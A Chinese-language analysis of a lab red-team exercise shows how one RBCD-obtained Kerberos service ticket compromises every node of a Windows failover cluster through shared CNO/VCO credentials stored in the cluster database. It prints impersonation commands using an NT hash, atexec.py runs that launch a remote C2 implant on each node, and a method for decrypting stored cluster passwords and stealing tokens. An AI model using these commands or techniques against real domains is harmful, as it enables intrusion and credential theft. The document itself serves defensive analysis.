前言

近期在看团队成员的红队复盘文件,属于集群环境下一个 RBCD ST 打多个机子的场景。文章从实际场景构建,到分析集群数据库、clusres.dll、加密检查点、ResourceData ,来解析这种情况。

一张 ST 打多台的根源是:票据绑定的是账户密钥,而非机器。RBCD 环境下拿到的 ST,其外层 sname 是某个 SPN,加密部分则用该 SPN 所属账户的长时密钥。只要多台主机持有同一把密钥,同一张票就都能解开。

常规情况

在常规域里,每台机器都有自己的机器账户(SRV01$、SRV02$),密钥也各不相同。你在 SRV01 上做 RBCD 并拿到 cifs/srv01 的 ST 后,将它用于 SRV02 时,SRV02 的 LSA 用自己那把密钥解密,必然失败,所以直接返回 KRB_AP_ERR_MODIFIED。

一个 RBCD ST 打多个机子真正成立的场景:
(1)共享服务账户、gMSA
(2)机器账户凭据被复制
(3)集群、AlwaysOn 虚拟名(CNO 或 VCO)

概念:CNO、VCO、MSSQL 集群

1、集群在 AD 里有两个身份:
CNO(Cluster Name Object) 代表集群的管理名称。是 WSFC 集群本身的身份,用来创建、管理所有 VCO。
VCO (Virtual Computer Object)代表集群的客户端访问点。是每个角色(例如文件服务、MSSQL、ADFS)各有一个身份,每个身份都带一份密码,而这份密码会被复制到每一台节点上。
WSFC 集群数据库 保存 CNO/VCO 的机器账户凭据,集群会自动定期轮换 CNO、VCO 的 AD 计算机账户密码,并且同步到所有节点的 CLUSDB,所以每个节点都持有这份凭据副本。

2、MSSQL 集群有两种:
FCI(Failover Cluster Instances)实例级高可用,
AG(Always-On Availability Groups)单数据库级高可用。
FCI 和 AG 都依赖 WSFC,虚拟网络名称都使用 WSFC 的 CNO/VCO 模型。

01 环境部署

从典型的部署过程来理解 CNO、VCO。
(1)选集群的服务器
三台 winserver,装 Failover Clustering 功能,用 Failover Cluster Manager 部署集群,选择要加入集群的服务器:

(2)配管理集群的访问点
这一步会在 AD 里创建一个与集群同名的计算机对象 CNO

(3)集群建好后,再装高可用角色。

(4)选了 File Server 简化演示

(5)设访问点 VCO

(6)配置一个共享盘



下图是 CNO 的默认 SPN 列表

下图是 VCO 默认 SPN 列表,与 CNO 相比没有 MSServerCluster 这个服务类

构造一种场景,即入口。让 DomainComputers 组对集群对象拥有 WriteAccountRestrictions权限,这样就可做 RBCD 控制一个有 SPN 的身份,替任意用户签票。


02 攻击过程

初始权限位于 DomainComputers 组,其对集群对象拥有 WriteAccountRestrictions权限

python3 getST.py 'ludus.domain/cluster-share$' -impersonate domainadmin -altservice 'HOST/CLUSTER-SHARE.LUDUS.DOMAIN' -hashes :a439642f7b710d11b75e152dd4e17431 -self

export KRB5CCNAME=domainadmin@HOST_CLUSTER-SHARE.LUDUS.DOMAIN@LUDUS.DOMAIN.ccache

枚举发现存在三个节点,当前节点为 test-cluster3 这台机器

python3 wsfcHunter.py -target cluster-share.ludus.domain -k -no-pass
(Cmd) enum_cluster node
(Cmd) enum_cluster group
(Cmd) get_groupstate cluster-share

执行回连,成功上线。

python3 atexec.py @cluster-share.ludus.domain '\\test-dc01-2022.ludus.domain\SYSVOL\apollo_bhno.exe' -silentcommand -k -no-pass


wsfcHunter.py 切节点到 test-cluster2

(Cmd) movegroup -group cluster-share -node test-cluster2

执行回连,成功上线。

python3 atexec.py @cluster-share.ludus.domain '\\test-dc01-2022.ludus.domain\SYSVOL\apollo_bhno.exe' -silentcommand -k -no-pass

wsfcHunter.py 切节点到 test-cluster,执行回连

movegroup -group cluster-share -node test-cluster

python3 atexec.py @cluster-share.ludus.domain '\\test-dc01-2022.ludus.domain\SYSVOL\apollo_bhno.exe' -silentcommand -k -no-pass

结果:一个 ST 打一个集群。这个结果违反了常识:

03 票据的复用范围

一张票,凭什么在集群里每台节点上都成立?
dump 凭据,各节点哈希/密钥各不相同。不是共享密码。
检查 AD 里所有集群成员,没有任何委派配置。不是委派。

标准 AD 概念解释不了这个现象了,转折点在登录会话的发现。

3.1 特点:相同的登录会话

三台节点上都能看到 自身、CNO、VCO 三个身份的登录会话

第二台、第三台节点上同样存在 CNO 、 VCO 的登录会话:


登录会话是"密码被真正使用过"的痕迹——如果 CNO 只是个逻辑身份,节点上没有它的会话,那密码可以从别处借;但三台节点都有,就意味着密码在本地,而且每台都有一份。
线索来自一个修复功能

3.2 Repair 功能的三个注册表键

WSFC 密码存在集群数据库里,和密码相关的操作有 Repair,修复涉及到读旧密码和写新密码。这里用 Procmon 看 VCO 的 repair 过程中发生了什么,得到三个关键操作:

(1)CryptoContainerGuid

首先查询 HKLM\CLUSTER\ca462fe6e-51c0-47e1-93ce-1eff4dfd463e\CryptoContainerGuid,返回一个 GUID。

(2)Checkpoints

下一次是查询 HKLM\Cluster\Checkpoints\ca46...\Crypto\Checkpoints,返回加密密码所用密钥的位置。该值遵循 MS-CMRP 规范;checkpoint 保证资源故障转移到别的节点时,密钥也跟着迁移。


(3)ResourceData 被重写

最后是写入 HKLM\Cluster\Resources\ca46...\Parameters\ResourceData。之后,ResourceData 这份配置也会被复制到其他节点上


这就是"为什么每台都有"的机制解释:密码存在 ResourceData,密钥单独存在 checkpoint 里随资源走,配置通过 Paxos 复制到每一台节点。ResourceData的解密位于 clusres.dll

3.3 clusres.dll 相关解密代码


3.4 写解密脚本

1、把这套算法解密部分拿出来,我就可以不依赖 clusres.dll,通过读取注册表,把集群存着的 CNO/VCO 账号密码解出来。思路是
(1)按 HKLM\Cluster\Checkpoints 列出所有 checkpoint 的 GUID
(2)对每个 GUID 读 ...\<guid>\Crypto 的值 Checkpoints,得到 providerType\provider\container 三段
(3)读 ResourceData 拿到密文
(4)同时读同级的 Name 值确认账号后
(5)交给 CryptProvider::Decrypt 解密
(6)最后顺带把明文算成了 NT hash

2、用脚本解密 ResourceData 存储的密码,结果:
Name 值为 Cluster Name$ (CNO),密码被重置过,能拿到当前明文密码 + NT hash;旧槽只剩当前密码的残缺副本
Name 值为 cluster-share$ (VCO),能拿到当前明文密码 + NT hash;上一个密码 + hash(与当前相同)

WSFC 保留"当前密码 + 上一个密码",是为了在 CNO/VCO 密码轮换时,用旧密码签发的票据仍能解密,避免 Kerberos 报错打断服务。这与 KRBTGT 账号(存最近两个密码)完全同构。

04 节点上共有的登录会话

# Resource Monitor
# Introducing Microsoft Cluster Service (MSCS) in the Windows Server 2003 Family

文档中提及:默认情况下,每个节点上的集群服务(Cluster service)会创建一个资源监视器 (Resource Monitor)。在创建资源时,可以请求单独的监视器来覆盖此默认行为。对于不稳定资源和调试新资源类型,建议使用独立监视器。
Resource Monitor 是集群服务和集群资源之间的接口,以独立进程运行。集群服务通过 Resource Monitor 与资源 DLL 通信。单个节点上可以同时运行多个 Resource Monitor 实例。

所以,默认每个节点集群服务创建 1 个 Resource Monitor 进程,该进程可以承载多个集群资源;可以手动配置,为某个资源单独新建独立 Resource Monitor 进程。

4.1 clusres.dll Token 相关

1、NetName::Identity::OnInitialize 的调用关系


2、ObtainNewToken 内部的调用序列
ObtainNewToken 负责真正的登录:先 NNClusterCrypto::DecryptPassword 解密,再 NetNameLib::CredentialAccess::Logon 登录。

3、最终由 NetNameLib::CredentialAccess::Logon 执行登录

4、Token Viewer 可以确认 rhs.exe 同时持有两个身份的 token:

所以:每台节点上都有一个"握着集群身份"的进程。本地管理员连数据库都不用解,直接偷 token 就行。

4.2 clusres.dll 健康检查相关

健康检查靠两个轮询间隔协作:LooksAlivePollInterval 与 IsAlivePollInterval。单个资源和它的父资源类型都可以设,资源上的设置优先,集群数据库中这两个值的示例:


往下追到 PingAliveCall::UpdateLooksAliveTime → RhsResource::GetCallInterval,默认值就在这里定义:



日志显示资源监视器每小时才为 VCO 和 CNO 登录一次:


AccountAD 的初始化链路在 NetName 命名空间下的 AccountAD 类:OnInitialize → OnInitializeExisting → OnInitializeEnd。


OnInitializeExisting → OnInitializeEnd


可覆盖默认间隔的三个未公开注册表键
OnInitializeEnd 设置 ADAccount(CNO/VCO)初始化后的健康检查间隔:默认 1 小时,与事件日志吻合。


05 节点上仅有的共享

5.1 节点上只有 ClusterStorage$ 与 IPC$

1、尝试读 C$ 报 STATUS_BAD_NETWORK_NAME

是因为集群节点上仅存在两个共享。一个是 ClusterStorage$ 为群集共享卷(CSV),另一个是 IPC$

群集共享卷 是 WSFC 默认安装的附加功能,添加后会默认在每台节点创建 C:\ClusterStorage 作为基础目录,集群服务运行期间会对该目录持有一个句柄,禁止在其中创建任何文件或文件夹。

2、atexec.py 因默认走 ADMIN$ 拒绝访问,换成 ClusterStorage$ 也拒绝访问

atexec.py 的流程是:通过 RPC 建计划任务 → 执行 → 把输出重定向到临时文件 → 读完删任务。"写文件"这一步走 ADMIN$,而该共享不存在,于是读输出就报错。


3、wmiexec.py 不报错,在集群节点上无响应地挂起。

wmiexec.py :该脚本利用分布式组件对象模型(DCOMs)来运行 Windows 管理仪器(WMI)方法 win32Process.Create ,从而模拟与远程主机的类似 shell 的界面体验。这种仿真机制与 script 如 atexec.py 那样将命令输出重定向到 ADMIN$ 共享文件夹中的文件的方式类似。

wmiexec.py 初始化时调了 do_cd:

-debug 模式里也可以看到,切到根目录后尝试读 ADMIN$ 上的输出文件,但文件根本不存在,于是脚本在 while 循环里一直等,所以脚本无响应地挂起。

5.2 集群数据库与资源监视器

顺着 ClusterStorage$ 往下看

集群数据库同时以注册表 hive 和 HKLM\Cluster 形式存在,每台节点都保存一份副本,存放集群全部配置,磁盘上在 C:\Windows\Cluster\CLUSDB,注册表里在 HKLM\Cluster。

2、资源类型与实现模块的对应关系如图(Network Name → clusres.dll)

CNO 和 VCO 属于虚拟网络名,实现于 clusres.dll

3、每台节点上 Cluster Service 启动时会派生多个 RHS.exe(Resource Host Monitoring)进程,加载这些 DLL。资源监视器是集群与资源之间的隔离层:某个资源挂了,不至于把整个集群拖垮。

clusres.dll 是 WSFC 内置核心资源 DLL,物理磁盘、IP 地址、网络名称、文件共享、通用服务 / 应用等资源类型的资源 DLL,加载到 Resource Monitor(resrcmon.exe/rhs.exe)进程内运行。


5.3 clusres.dll 行为

(1)启动时调用 NetName::AdminShare::OnInitialize,最终走到 FileServerDefaultCSVShare

(2)Init 方法里第一步,从集群数据库拿 SharedVolumesRoot的值,然后设默认 DACL,把共享的管理员权限委派给本地管理员,最后调 FileServerShareAdd 挂载,使其成为集群管理命名空间里唯一的共享

正是这种关系链使得默认节点上只有 ClusterStorage$ 与 IPC$

06 集群名与真实节点

6.1 ServerAlive2 与角色所在节点

wmiexec.py 过程中会会解析 COM 激活响应中的 StringBinding


07 同一张票据,不同的机器密钥

一个 Kerberos AP-REQ 中携带的服务票据,是用目标服务的长期密钥加密的。客户端并不知道该密钥,密钥分发中心(KDC)与服务本身知道。这正是票据在常规情况下与请求 SPN 所代表的账户相绑定的原因。WSFC 必须在允许虚拟服务迁移的同时保持这一模型。
受保护的 CNO 与 VCO 凭据对集群成员可用,以便当前拥有网络名称资源的那个节点能够以该虚拟身份进行身份验证。该状态同时保留了两个密码,从而让在密码轮换前后签发的票据仍然可用。
其安全影响是架构性的:集群节点之间并不共享它们自己的机器账户密码,但它们确实接收了操作 CNO 与 VCO 身份所需的材料。因此,攻陷其中一个成员,就可能暴露管理员原本只授予"逻辑集群身份"的信任。

图表示的是一条有条件的攻击路径,而不是每个集群的普遍属性。开局的"控制"边必须存在,Kerberos 与服务层面的前置条件必须被满足,且受影响的集群必须承载着值得触达的东西。这个模型的价值在于影响可以扩展到多个节点。
拿到一台主机的权限直接的影响范围看起来仅限于挂在这台机器上的服务会话与凭据。Windows Server 故障转移集群(WSFC)打破了这一假设。
一个集群节点参与的是一套分布式系统,其中的虚拟身份、配置信息都可以在物理服务器之间迁移。因此看似只是控制了一台计算机,实际可能是控制了一个在整个集群范围内所有节点。

总结

从分析一份红队的复盘文件,进而沿着集群数据库、clusres.dll、加密检查点、ResourceData 追综得到了集群环境下一个 ST 可以打多个节点的答案:
第一层,集群数据库(HKLM\Cluster),三个节点上都是各存一份,通过 Paxos 保持一致。
第二层,密码并不是作为独立账密存在别处,它是 ResourceData 里的密文。资源迁到哪台节点,这份参数就被复制到哪台。
第三层,clusres.dll 里的 CryptoAccessV2 负责解密,机器私钥锁在本机,用来解密的 AES 密钥装在密文头部。于是任何一台拿到这份密文的节点,都能解出同一个密码。
三层合起来就是那句话的答案:票据能不能在别处被接受,不取决于它被发给了谁,而取决于那台机器上有没有同一份密码。而集群的设计要求每台节点随时能接管角色,所以每台都必须有。

参考

Prestage cluster computer objects in Active Directory Domain Services | Microsoft Learn
Troubleshoot issues with accounts used by failover clusters - Windows Server | Microsoft Learn
So what exactly is the CLIUSR account? | Microsoft Learn
Resource Monitor
Introducing Microsoft Cluster Service (MSCS) in the Windows Server 2003 Family